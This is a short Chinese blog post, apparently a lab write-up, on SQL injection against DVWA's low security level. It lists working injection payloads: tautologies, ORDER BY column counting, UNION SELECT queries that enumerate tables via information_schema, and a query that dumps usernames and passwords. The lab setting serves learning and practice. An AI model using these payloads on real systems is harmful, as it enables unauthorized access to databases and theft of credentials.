DVWA sql注入low级别

DVWA sql注入low级别

sql注入分类

  • 数字型注入

    SELECT first_name, last_name FROM users WHERE user_id = $id

  • 字符型注入

    SELECT first_name, last_name FROM users WHERE user_id = '$id'

一般可以通过直接输入单引号来判断是否存在注入点

通过输入3和1+2判断注入为字符型注入,若为数字型注入,则3和1+2输出一样

字符型注入

字符型注入最关键的是如何闭合SQL语句以及注释多余的代码

SELECT first_name, last_name FROM users WHERE user_id = '$id'

  • ' or 1=1 or '
    SELECT first_name, last_name FROM users WHERE user_id = ' ' or 1=1 or ' '
    False or True or False

  • 1' or '1' ='1
    SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' ='1'
    True or True

  • 'or 1=1 #
    SELECT first_name, last_name FROM users WHERE user_id = ''or 1=1 #'

    # 为注释
    False or True

  • 'or 1=1 --
    SELECT first_name, last_name FROM users WHERE user_id = ''or 1=1 -- '
    -- (有空格)也是注释
    False or True

判断数据库字段数

  1. 1' order by 2 #

  1. 1' order by 3 #

判断数据库字段数为2

确定回显位置(SQL语句查询后显示的位置)

1' union select 1,2 #

查询当前用户名和数据库

1' union select user(),database() #

获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取字段中的数据

1' union select user,password from users#

posted @ 2020-09-18 12:42  LRainner  阅读(268)  评论(0编辑  收藏  举报